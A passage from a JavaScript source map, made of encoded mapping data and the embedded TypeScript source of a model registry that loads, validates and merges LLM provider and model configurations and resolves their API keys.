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","sourcesContent":["/**\n * Model registry - manages built-in and custom models, provides API key resolution.\n */\n\nimport {\n\ttype Api,\n\ttype AssistantMessageEventStream,\n\ttype Context,\n\tgetModels,\n\tgetProviders,\n\ttype KnownProvider,\n\ttype Model,\n\ttype OAuthProviderInterface,\n\ttype OpenAICompletionsCompat,\n\ttype OpenAIResponsesCompat,\n\tregisterApiProvider,\n\tresetApiProviders,\n\ttype SimpleStreamOptions,\n} from \"@gsd/pi-ai\";\nimport { registerOAuthProvider, resetOAuthProviders } from \"@gsd/pi-ai/oauth\";\nimport { type Static, Type } from \"@sinclair/typebox\";\nimport AjvModule from \"ajv\";\nimport { existsSync, readFileSync } from \"fs\";\nimport { join } from \"path\";\nimport { getAgentDir } from \"../config.js\";\nimport type { AuthStorage } from \"./auth-storage.js\";\nimport { ModelDiscoveryCache } from \"./discovery-cache.js\";\nimport type { DiscoveredModel, DiscoveryResult } from \"./model-discovery.js\";\nimport { getDefaultTTL, getDiscoverableProviders, getDiscoveryAdapter } from \"./model-discovery.js\";\nimport { clearConfigValueCache, resolveConfigValue, resolveHeaders } from \"./resolve-config-value.js\";\n\nconst Ajv = (AjvModule as any).default || AjvModule;\nconst ajv = new Ajv();\n\n// Schema for OpenRouter routing preferences\nconst OpenRouterRoutingSchema = Type.Object({\n\tonly: Type.Optional(Type.Array(Type.String())),\n\torder: Type.Optional(Type.Array(Type.String())),\n});\n\n// Schema for Vercel AI Gateway routing preferences\nconst VercelGatewayRoutingSchema = Type.Object({\n\tonly: Type.Optional(Type.Array(Type.String())),\n\torder: Type.Optional(Type.Array(Type.String())),\n});\n\n// Schema for OpenAI compatibility settings\nconst OpenAICompletionsCompatSchema = Type.Object({\n\tsupportsStore: Type.Optional(Type.Boolean()),\n\tsupportsDeveloperRole: Type.Optional(Type.Boolean()),\n\tsupportsReasoningEffort: Type.Optional(Type.Boolean()),\n\tsupportsUsageInStreaming: Type.Optional(Type.Boolean()),\n\tmaxTokensField: Type.Optional(Type.Union([Type.Literal(\"max_completion_tokens\"), Type.Literal(\"max_tokens\")])),\n\trequiresToolResultName: Type.Optional(Type.Boolean()),\n\trequiresAssistantAfterToolResult: Type.Optional(Type.Boolean()),\n\trequiresThinkingAsText: Type.Optional(Type.Boolean()),\n\trequiresMistralToolIds: Type.Optional(Type.Boolean()),\n\tthinkingFormat: Type.Optional(Type.Union([Type.Literal(\"openai\"), Type.Literal(\"zai\"), Type.Literal(\"qwen\")])),\n\topenRouterRouting: Type.Optional(OpenRouterRoutingSchema),\n\tvercelGatewayRouting: Type.Optional(VercelGatewayRoutingSchema),\n});\n\nconst OpenAIResponsesCompatSchema = Type.Object({\n\t// Reserved for future use\n});\n\nconst OpenAICompatSchema = Type.Union([OpenAICompletionsCompatSchema, OpenAIResponsesCompatSchema]);\n\n// Schema for custom model definition\n// Most fields are optional with sensible defaults for local models (Ollama, LM Studio, etc.)\nconst ModelDefinitionSchema = Type.Object({\n\tid: Type.String({ minLength: 1 }),\n\tname: Type.Optional(Type.String({ minLength: 1 })),\n\tapi: Type.Optional(Type.String({ minLength: 1 })),\n\tbaseUrl: Type.Optional(Type.String({ minLength: 1 })),\n\treasoning: Type.Optional(Type.Boolean()),\n\tinput: Type.Optional(Type.Array(Type.Union([Type.Literal(\"text\"), Type.Literal(\"image\")]))),\n\tcost: Type.Optional(\n\t\tType.Object({\n\t\t\tinput: Type.Number(),\n\t\t\toutput: Type.Number(),\n\t\t\tcacheRead: Type.Number(),\n\t\t\tcacheWrite: Type.Number(),\n\t\t}),\n\t),\n\tcontextWindow: Type.Optional(Type.Number()),\n\tmaxTokens: Type.Optional(Type.Number()),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tcompat: Type.Optional(OpenAICompatSchema),\n});\n\n// Schema for per-model overrides (all fields optional, merged with built-in model)\nconst ModelOverrideSchema = Type.Object({\n\tname: Type.Optional(Type.String({ minLength: 1 })),\n\treasoning: Type.Optional(Type.Boolean()),\n\tinput: Type.Optional(Type.Array(Type.Union([Type.Literal(\"text\"), Type.Literal(\"image\")]))),\n\tcost: Type.Optional(\n\t\tType.Object({\n\t\t\tinput: Type.Optional(Type.Number()),\n\t\t\toutput: Type.Optional(Type.Number()),\n\t\t\tcacheRead: Type.Optional(Type.Number()),\n\t\t\tcacheWrite: Type.Optional(Type.Number()),\n\t\t}),\n\t),\n\tcontextWindow: Type.Optional(Type.Number()),\n\tmaxTokens: Type.Optional(Type.Number()),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tcompat: Type.Optional(OpenAICompatSchema),\n});\n\ntype ModelOverride = Static<typeof ModelOverrideSchema>;\n\nconst ProviderConfigSchema = Type.Object({\n\tbaseUrl: Type.Optional(Type.String({ minLength: 1 })),\n\tapiKey: Type.Optional(Type.String({ minLength: 1 })),\n\tapi: Type.Optional(Type.String({ minLength: 1 })),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tauthHeader: Type.Optional(Type.Boolean()),\n\tmodels: Type.Optional(Type.Array(ModelDefinitionSchema)),\n\tmodelOverrides: Type.Optional(Type.Record(Type.String(), ModelOverrideSchema)),\n});\n\nconst ModelsConfigSchema = Type.Object({\n\tproviders: Type.Record(Type.String(), ProviderConfigSchema),\n});\n\najv.addSchema(ModelsConfigSchema, \"ModelsConfig\");\n\ntype ModelsConfig = Static<typeof ModelsConfigSchema>;\n\nexport type ProviderAuthMode = \"apiKey\" | \"oauth\" | \"externalCli\" | \"none\";\n\n/** Provider override config (baseUrl, headers, apiKey) without custom models */\ninterface ProviderOverride {\n\tbaseUrl?: string;\n\theaders?: Record<string, string>;\n\tapiKey?: string;\n}\n\n/** Result of loading custom models from models.json */\ninterface CustomModelsResult {\n\tmodels: Model<Api>[];\n\t/** Providers with baseUrl/headers/apiKey overrides for built-in models */\n\toverrides: Map<string, ProviderOverride>;\n\t/** Per-model overrides: provider -> modelId -> override */\n\tmodelOverrides: Map<string, Map<string, ModelOverride>>;\n\terror: string | undefined;\n}\n\nfunction emptyCustomModelsResult(error?: string): CustomModelsResult {\n\treturn { models: [], overrides: new Map(), modelOverrides: new Map(), error };\n}\n\nfunction mergeCompat(\n\tbaseCompat: Model<Api>[\"compat\"],\n\toverrideCompat: ModelOverride[\"compat\"],\n): Model<Api>[\"compat\"] | undefined {\n\tif (!overrideCompat) return baseCompat;\n\n\tconst base = baseCompat as OpenAICompletionsCompat | OpenAIResponsesCompat | undefined;\n\tconst override = overrideCompat as OpenAICompletionsCompat | OpenAIResponsesCompat;\n\tconst merged = { ...base, ...override } as OpenAICompletionsCompat | OpenAIResponsesCompat;\n\n\tconst baseCompletions = base as OpenAICompletionsCompat | undefined;\n\tconst overrideCompletions = override as OpenAICompletionsCompat;\n\tconst mergedCompletions = merged as OpenAICompletionsCompat;\n\n\tif (baseCompletions?.openRouterRouting || overrideCompletions.openRouterRouting) {\n\t\tmergedCompletions.openRouterRouting = {\n\t\t\t...baseCompletions?.openRouterRouting,\n\t\t\t...overrideCompletions.openRouterRouting,\n\t\t};\n\t}\n\n\tif (baseCompletions?.vercelGatewayRouting || overrideCompletions.vercelGatewayRouting) {\n\t\tmergedCompletions.vercelGatewayRouting = {\n\t\t\t...baseCompletions?.vercelGatewayRouting,\n\t\t\t...overrideCompletions.vercelGatewayRouting,\n\t\t};\n\t}\n\n\treturn merged as Model<Api>[\"compat\"];\n}\n\n/**\n * Deep merge a model override into a model.\n * Handles nested objects (cost, compat) by merging rather than replacing.\n */\nfunction applyModelOverride(model: Model<Api>, override: ModelOverride): Model<Api> {\n\tconst result = { ...model };\n\n\t// Simple field overrides\n\tif (override.name !== undefined) result.name = override.name;\n\tif (override.reasoning !== undefined) result.reasoning = override.reasoning;\n\tif (override.input !== undefined) result.input = override.input as (\"text\" | \"image\")[];\n\tif (override.contextWindow !== undefined) result.contextWindow = override.contextWindow;\n\tif (override.maxTokens !== undefined) result.maxTokens = override.maxTokens;\n\n\t// Merge cost (partial override)\n\tif (override.cost) {\n\t\tresult.cost = {\n\t\t\tinput: override.cost.input ?? model.cost.input,\n\t\t\toutput: override.cost.output ?? model.cost.output,\n\t\t\tcacheRead: override.cost.cacheRead ?? model.cost.cacheRead,\n\t\t\tcacheWrite: override.cost.cacheWrite ?? model.cost.cacheWrite,\n\t\t};\n\t}\n\n\t// Merge headers\n\tif (override.headers) {\n\t\tconst resolvedHeaders = resolveHeaders(override.headers);\n\t\tresult.headers = resolvedHeaders ? { ...model.headers, ...resolvedHeaders } : model.headers;\n\t}\n\n\t// Deep merge compat\n\tresult.compat = mergeCompat(model.compat, override.compat);\n\n\treturn result;\n}\n\n\n/**\n * Model registry - loads and manages models, resolves API keys via AuthStorage.\n */\nexport class ModelRegistry {\n\tprivate models: Model<Api>[] = [];\n\tprivate discoveredModels: Model<Api>[] = [];\n\tprivate discoveryCache: ModelDiscoveryCache;\n\tprivate customProviderApiKeys: Map<string, string> = new Map();\n\tprivate registeredProviders: Map<string, ProviderConfigInput> = new Map();\n\tprivate loadError: string | undefined = undefined;\n\n\tconstructor(\n\t\treadonly authStorage: AuthStorage,\n\t\tprivate modelsJsonPath: string | undefined = join(getAgentDir(), \"models.json\"),\n\t) {\n\t\tthis.discoveryCache = new ModelDiscoveryCache();\n\n\t\t// Set up fallback resolver for custom provider API keys\n\t\tthis.authStorage.setFallbackResolver((provider) => {\n\t\t\tconst keyConfig = this.customProviderApiKeys.get(provider);\n\t\t\tif (keyConfig) {\n\t\t\t\treturn resolveConfigValue(keyConfig);\n\t\t\t}\n\t\t\treturn undefined;\n\t\t});\n\n\t\t// Refresh models when credentials change (e.g., OAuth token refresh with new model limits)\n\t\tthis.authStorage.onCredentialChange(() => this.refresh());\n\n\t\t// Load models\n\t\tthis.loadModels();\n\t}\n\n\t/**\n\t * Reload models from disk (built-in + custom from models.json).\n\t */\n\trefresh(): void {\n\t\tthis.customProviderApiKeys.clear();\n\t\tthis.loadError = undefined;\n\n\t\t// Ensure dynamic API/OAuth registrations are rebuilt from current provider state.\n\t\tresetApiProviders();\n\t\tresetOAuthProviders();\n\n\t\tthis.loadModels();\n\n\t\tfor (const [providerName, config] of this.registeredProviders.entries()) {\n\t\t\tthis.applyProviderConfig(providerName, config);\n\t\t}\n\t}\n\n\t/**\n\t * Get any error from loading models.json (undefined if no error).\n\t */\n\tgetError(): string | undefined {\n\t\treturn this.loadError;\n\t}\n\n\tprivate loadModels(): void {\n\t\t// Load custom models and overrides from models.json\n\t\tconst {\n\t\t\tmodels: customModels,\n\t\t\toverrides,\n\t\t\tmodelOverrides,\n\t\t\terror,\n\t\t} = this.modelsJsonPath ? this.loadCustomModels(this.modelsJsonPath) : emptyCustomModelsResult();\n\n\t\tif (error) {\n\t\t\tthis.loadError = error;\n\t\t\t// Keep built-in models even if custom models failed to load\n\t\t}\n\n\t\tconst builtInModels = this.loadBuiltInModels(overrides, modelOverrides);\n\t\tlet combined = this.mergeCustomModels(builtInModels, customModels);\n\n\t\t// Let OAuth providers modify their models (e.g., update baseUrl)\n\t\tfor (const oauthProvider of this.authStorage.getOAuthProviders()) {\n\t\t\tconst cred = this.authStorage.get(oauthProvider.id);\n\t\t\tif (cred?.type === \"oauth\" && oauthProvider.modifyModels) {\n\t\t\t\tcombined = oauthProvider.modifyModels(combined, cred);\n\t\t\t}\n\t\t}\n\n\t\tthis.models = combined;\n\t}\n\n\t/** Load built-in models and apply provider/model overrides */\n\tprivate loadBuiltInModels(\n\t\toverrides: Map<string, ProviderOverride>,\n\t\tmodelOverrides: Map<string, Map<string, ModelOverride>>,\n\t): Model<Api>[] {\n\t\treturn getProviders().flatMap((provider) => {\n\t\t\tconst models = getModels(provider as KnownProvider) as Model<Api>[];\n\t\t\tconst providerOverride = overrides.get(provider);\n\t\t\tconst perModelOverrides = modelOverrides.get(provider);\n\n\t\t\treturn models.map((m) => {\n\t\t\t\tlet model = m;\n\n\t\t\t\t// Apply provider-level baseUrl/headers override\n\t\t\t\tif (providerOverride) {\n\t\t\t\t\tconst resolvedHeaders = resolveHeaders(providerOverride.headers);\n\t\t\t\t\tmodel = {\n\t\t\t\t\t\t...model,\n\t\t\t\t\t\tbaseUrl: providerOverride.baseUrl ?? model.baseUrl,\n\t\t\t\t\t\theaders: resolvedHeaders ? { ...model.headers, ...resolvedHeaders } : model.headers,\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Apply per-model override\n\t\t\t\tconst modelOverride = perModelOverrides?.get(m.id);\n\t\t\t\tif (modelOverride) {\n\t\t\t\t\tmodel = applyModelOverride(model, modelOverride);\n\t\t\t\t}\n\n\t\t\t\treturn model;\n\t\t\t});\n\t\t});\n\t}\n\n\t/** Merge custom models into built-in list by provider+id (custom wins on conflicts). */\n\tprivate mergeCustomModels(builtInModels: Model<Api>[], customModels: Model<Api>[]): Model<Api>[] {\n\t\tconst merged = [...builtInModels];\n\t\tfor (const customModel of customModels) {\n\t\t\tconst existingIndex = merged.findIndex((m) => m.provider === customModel.provider && m.id === customModel.id);\n\t\t\tif (existingIndex >= 0) {\n\t\t\t\tmerged[existingIndex] = customModel;\n\t\t\t} else {\n\t\t\t\tmerged.push(customModel);\n\t\t\t}\n\t\t}\n\t\treturn merged;\n\t}\n\n\tprivate loadCustomModels(modelsJsonPath: string): CustomModelsResult {\n\t\tif (!existsSync(modelsJsonPath)) {\n\t\t\treturn emptyCustomModelsResult();\n\t\t}\n\n\t\ttry {\n\t\t\tconst content = readFileSync(modelsJsonPath, \"utf-8\");\n\t\t\tconst config: ModelsConfig = JSON.parse(content);\n\n\t\t\t// Validate schema\n\t\t\tconst validate = ajv.getSchema(\"ModelsConfig\")!;\n\t\t\tif (!validate(config)) {\n\t\t\t\tconst errors =\n\t\t\t\t\tvalidate.errors?.map((e: any) => ` - ${e.instancePath || \"root\"}: ${e.message}`).join(\"\\n\") ||\n\t\t\t\t\t\"Unknown schema error\";\n\t\t\t\treturn emptyCustomModelsResult(`Invalid models.json schema:\\n${errors}\\n\\nFile: ${modelsJsonPath}`);\n\t\t\t}\n\n\t\t\t// Additional validation\n\t\t\tthis.validateConfig(config);\n\n\t\t\tconst overrides = new Map<string, ProviderOverride>();\n\t\t\tconst modelOverrides = new Map<string, Map<string, ModelOverride>>();\n\n\t\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\t\t// Apply provider-level baseUrl/headers/apiKey override to built-in models when configured.\n\t\t\t\tif (providerConfig.baseUrl || providerConfig.headers || providerConfig.apiKey) {\n\t\t\t\t\toverrides.set(providerName, {\n\t\t\t\t\t\tbaseUrl: providerConfig.baseUrl,\n\t\t\t\t\t\theaders: providerConfig.headers,\n\t\t\t\t\t\tapiKey: providerConfig.apiKey,\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Store API key for fallback resolver.\n\t\t\t\tif (providerConfig.apiKey) {\n\t\t\t\t\tthis.customProviderApiKeys.set(providerName, providerConfig.apiKey);\n\t\t\t\t}\n\n\t\t\t\tif (providerConfig.modelOverrides) {\n\t\t\t\t\tmodelOverrides.set(providerName, new Map(Object.entries(providerConfig.modelOverrides)));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn { models: this.parseModels(config), overrides, modelOverrides, error: undefined };\n\t\t} catch (error) {\n\t\t\tif (error instanceof SyntaxError) {\n\t\t\t\treturn emptyCustomModelsResult(`Failed to parse models.json: ${error.message}\\n\\nFile: ${modelsJsonPath}`);\n\t\t\t}\n\t\t\treturn emptyCustomModelsResult(\n\t\t\t\t`Failed to load models.json: ${error instanceof Error ? error.message : error}\\n\\nFile: ${modelsJsonPath}`,\n\t\t\t);\n\t\t}\n\t}\n\n\tprivate validateConfig(config: ModelsConfig): void {\n\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\tconst hasProviderApi = !!providerConfig.api;\n\t\t\tconst models = providerConfig.models ?? [];\n\t\t\tconst hasModelOverrides =\n\t\t\t\tproviderConfig.modelOverrides && Object.keys(providerConfig.modelOverrides).length > 0;\n\n\t\t\tif (models.length === 0) {\n\t\t\t\t// Override-only config: needs baseUrl OR modelOverrides (or both)\n\t\t\t\tif (!providerConfig.baseUrl && !hasModelOverrides) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: must specify \"baseUrl\", \"modelOverrides\", or \"models\".`);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Custom models are merged into provider models and require endpoint + auth.\n\t\t\t\tif (!providerConfig.baseUrl) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: \"baseUrl\" is required when defining custom models.`);\n\t\t\t\t}\n\t\t\t\tif (!providerConfig.apiKey) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: \"apiKey\" is required when defining custom models.`);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (const modelDef of models) {\n\t\t\t\tconst hasModelApi = !!modelDef.api;\n\n\t\t\t\tif (!hasProviderApi && !hasModelApi) {\n\t\t\t\t\tthrow new Error(\n\t\t\t\t\t\t`Provider ${providerName}, model ${modelDef.id}: no \"api\" specified. Set at provider or model level.`,\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\tif (!modelDef.id) throw new Error(`Provider ${providerName}: model missing \"id\"`);\n\t\t\t\t// Validate contextWindow/maxTokens only if provided (they have defaults)\n\t\t\t\tif (modelDef.contextWindow !== undefined && modelDef.contextWindow <= 0)\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: invalid contextWindow`);\n\t\t\t\tif (modelDef.maxTokens !== undefined && modelDef.maxTokens <= 0)\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: invalid maxTokens`);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate parseModels(config: ModelsConfig): Model<Api>[] {\n\t\tconst models: Model<Api>[] = [];\n\n\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\tconst modelDefs = providerConfig.models ?? [];\n\t\t\tif (modelDefs.length === 0) continue; // Override-only, no custom models\n\n\t\t\t// Store API key config for fallback resolver\n\t\t\tif (providerConfig.apiKey) {\n\t\t\t\tthis.customProviderApiKeys.set(providerName, providerConfig.apiKey);\n\t\t\t}\n\n\t\t\tfor (const modelDef of modelDefs) {\n\t\t\t\tconst api = modelDef.api || providerConfig.api;\n\t\t\t\tif (!api) continue;\n\n\t\t\t\t// Merge headers: provider headers are base, model headers override\n\t\t\t\t// Resolve env vars and shell commands in header values\n\t\t\t\tconst providerHeaders = resolveHeaders(providerConfig.headers);\n\t\t\t\tconst modelHeaders = resolveHeaders(modelDef.headers);\n\t\t\t\tlet headers = providerHeaders || modelHeaders ? { ...providerHeaders, ...modelHeaders } : undefined;\n\n\t\t\t\t// If authHeader is true, add Authorization header with resolved API key\n\t\t\t\tif (providerConfig.authHeader && providerConfig.apiKey) {\n\t\t\t\t\tconst resolvedKey = resolveConfigValue(providerConfig.apiKey);\n\t\t\t\t\tif (resolvedKey) {\n\t\t\t\t\t\theaders = { ...headers, Authorization: `Bearer ${resolvedKey}` };\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Provider baseUrl is required when custom models are defined.\n\t\t\t\t// Individual models can override it with modelDef.baseUrl.\n\t\t\t\tconst defaultCost = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 };\n\t\t\t\tmodels.push({\n\t\t\t\t\tid: modelDef.id,\n\t\t\t\t\tname: modelDef.name ?? modelDef.id,\n\t\t\t\t\tapi: api as Api,\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tbaseUrl: modelDef.baseUrl ?? providerConfig.baseUrl!,\n\t\t\t\t\treasoning: modelDef.reasoning ?? false,\n\t\t\t\t\tinput: (modelDef.input ?? [\"text\"]) as (\"text\" | \"image\")[],\n\t\t\t\t\tcost: modelDef.cost ?? defaultCost,\n\t\t\t\t\tcontextWindow: modelDef.contextWindow ?? 128000,\n\t\t\t\t\tmaxTokens: modelDef.maxTokens ?? 16384,\n\t\t\t\t\theaders,\n\t\t\t\t\tcompat: modelDef.compat,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\t\t}\n\n\t\treturn models;\n\t}\n\n\t/**\n\t * Get all models (built-in + custom).\n\t * If models.json had errors, returns only built-in models.\n\t */\n\tgetAll(): Model<Api>[] {\n\t\treturn this.models;\n\t}\n\n\t/**\n\t * Get only models that have auth configured.\n\t * This is a fast check that doesn't refresh OAuth tokens.\n\t */\n\tgetAvailable(): Model<Api>[] {\n\t\treturn this.models.filter((m) => this.isProviderRequestReady(m.provider));\n\t}\n\n\t/**\n\t * Get auth mode for a provider.\n\t * Defaults to \"apiKey\" for built-ins and providers without explicit mode.\n\t */\n\tgetProviderAuthMode(provider: string): ProviderAuthMode {\n\t\tconst config = this.registeredProviders.get(provider);\n\t\tif (!config) return \"apiKey\";\n\t\tif (config.authMode) return config.authMode;\n\t\tif (config.oauth) return \"oauth\";\n\t\tif (config.apiKey) return \"apiKey\";\n\t\treturn \"apiKey\";\n\t}\n\n\t/**\n\t * Whether a provider can be used for requests/fallback without hard auth 